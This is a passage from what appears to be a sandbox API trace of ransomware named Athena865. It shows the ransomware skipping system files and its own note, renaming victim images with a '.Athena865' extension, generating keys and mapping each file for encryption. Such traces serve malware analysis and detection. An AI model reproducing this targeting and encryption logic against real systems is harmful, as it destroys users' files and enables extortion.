dwNumberOfBytesToMap=0x1230) returned 0x100000 [0119.537] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.538] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.538] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.539] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.539] CloseHandle (hObject=0x154) returned 1 [0119.539] CloseHandle (hObject=0x17c) returned 1 [0119.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.539] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0119.539] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.539] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".") returned 1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="..") returned 1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="windows") returned -1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="bootmgr") returned 1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="temp") returned -1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="pagefile.sys") returned -1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="boot") returned 1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="ids.txt") returned -1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="ntuser.dat") returned -1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="perflogs") returned -1 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="MSBuild") returned -1 [0119.540] lstrlenW (lpString="Circle_SelectionSubpictureB.png") returned 31 [0119.540] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Circle_SelectionSubpictureB.png" | out: lpString1="Circle_SelectionSubpictureB.png") returned="Circle_SelectionSubpictureB.png" [0119.540] lstrlenW (lpString="Circle_SelectionSubpictureB.png") returned 31 [0119.540] lstrlenW (lpString="Athena865") returned 9 [0119.540] lstrcmpiW (lpString1="tureB.png", lpString2="Athena865") returned 1 [0119.540] lstrlenW (lpString=".dll") returned 4 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".dll") returned 1 [0119.540] lstrlenW (lpString=".lnk") returned 4 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".lnk") returned 1 [0119.540] lstrlenW (lpString=".ini") returned 4 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".ini") returned 1 [0119.540] lstrlenW (lpString=".sys") returned 4 [0119.540] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2=".sys") returned 1 [0119.540] lstrlenW (lpString="Circle_SelectionSubpictureB.png") returned 31 [0119.540] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.Athena865") returned 85 [0119.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.athena865"), dwFlags=0x1) returned 1 [0119.542] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.542] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3215) returned 1 [0119.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.542] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.543] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.543] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.543] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf90, lpName=0x0) returned 0x154 [0119.545] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf90) returned 0x100000 [0119.546] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.547] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.547] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.548] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.548] CloseHandle (hObject=0x154) returned 1 [0119.548] CloseHandle (hObject=0x17c) returned 1 [0119.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.548] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".") returned 1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="..") returned 1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="windows") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="bootmgr") returned 1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="temp") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="pagefile.sys") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="boot") returned 1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="ids.txt") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="ntuser.dat") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="perflogs") returned -1 [0119.548] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="MSBuild") returned -1 [0119.548] lstrlenW (lpString="Circle_VideoInset.png") returned 21 [0119.548] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Circle_VideoInset.png" | out: lpString1="Circle_VideoInset.png") returned="Circle_VideoInset.png" [0119.549] lstrlenW (lpString="Circle_VideoInset.png") returned 21 [0119.549] lstrlenW (lpString="Athena865") returned 9 [0119.549] lstrcmpiW (lpString1="Inset.png", lpString2="Athena865") returned 1 [0119.549] lstrlenW (lpString=".dll") returned 4 [0119.549] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".dll") returned 1 [0119.549] lstrlenW (lpString=".lnk") returned 4 [0119.549] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".lnk") returned 1 [0119.549] lstrlenW (lpString=".ini") returned 4 [0119.549] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".ini") returned 1 [0119.549] lstrlenW (lpString=".sys") returned 4 [0119.549] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".sys") returned 1 [0119.549] lstrlenW (lpString="Circle_VideoInset.png") returned 21 [0119.549] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.Athena865") returned 75 [0119.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0119.550] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.550] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5059) returned 1 [0119.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.550] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.551] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.551] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.551] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.553] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.554] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.554] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.554] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.555] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.555] CloseHandle (hObject=0x154) returned 1 [0119.555] CloseHandle (hObject=0x17c) returned 1 [0119.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.555] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".") returned 1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="..") returned 1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="windows") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="temp") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="pagefile.sys") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="boot") returned 1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="ids.txt") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="ntuser.dat") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="perflogs") returned -1 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="MSBuild") returned -1 [0119.556] lstrlenW (lpString="cloud_Thumbnail.bmp") returned 19 [0119.556] lstrcpyW (in: lpString1=0x241e8a0, lpString2="cloud_Thumbnail.bmp" | out: lpString1="cloud_Thumbnail.bmp") returned="cloud_Thumbnail.bmp" [0119.556] lstrlenW (lpString="cloud_Thumbnail.bmp") returned 19 [0119.556] lstrlenW (lpString="Athena865") returned 9 [0119.556] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.556] lstrlenW (lpString=".dll") returned 4 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.556] lstrlenW (lpString=".lnk") returned 4 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.556] lstrlenW (lpString=".ini") returned 4 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.556] lstrlenW (lpString=".sys") returned 4 [0119.556] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.556] lstrlenW (lpString="cloud_Thumbnail.bmp") returned 19 [0119.556] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.Athena865") returned 73 [0119.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.557] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.558] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.558] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.558] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.559] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.560] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.561] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.562] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.562] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.563] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.563] CloseHandle (hObject=0x154) returned 1 [0119.563] CloseHandle (hObject=0x17c) returned 1 [0119.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.563] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0119.563] lstrcmpiW (lpString1="Dot.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2=".") returned 1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="..") returned 1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="windows") returned -1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="bootmgr") returned 1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="temp") returned -1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="pagefile.sys") returned -1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="boot") returned 1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="ids.txt") returned -1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="ntuser.dat") returned -1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="perflogs") returned -1 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2="MSBuild") returned -1 [0119.564] lstrlenW (lpString="Dot.png") returned 7 [0119.564] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Dot.png" | out: lpString1="Dot.png") returned="Dot.png" [0119.564] lstrlenW (lpString="Dot.png") returned 7 [0119.564] lstrlenW (lpString="Athena865") returned 9 [0119.564] lstrlenW (lpString=".dll") returned 4 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2=".dll") returned 1 [0119.564] lstrlenW (lpString=".lnk") returned 4 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2=".lnk") returned 1 [0119.564] lstrlenW (lpString=".ini") returned 4 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2=".ini") returned 1 [0119.564] lstrlenW (lpString=".sys") returned 4 [0119.564] lstrcmpiW (lpString1="Dot.png", lpString2=".sys") returned 1 [0119.564] lstrlenW (lpString="Dot.png") returned 7 [0119.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.Athena865") returned 61 [0119.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.athena865"), dwFlags=0x1) returned 1 [0119.565] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.565] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23711) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.566] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.566] CryptGenRandom 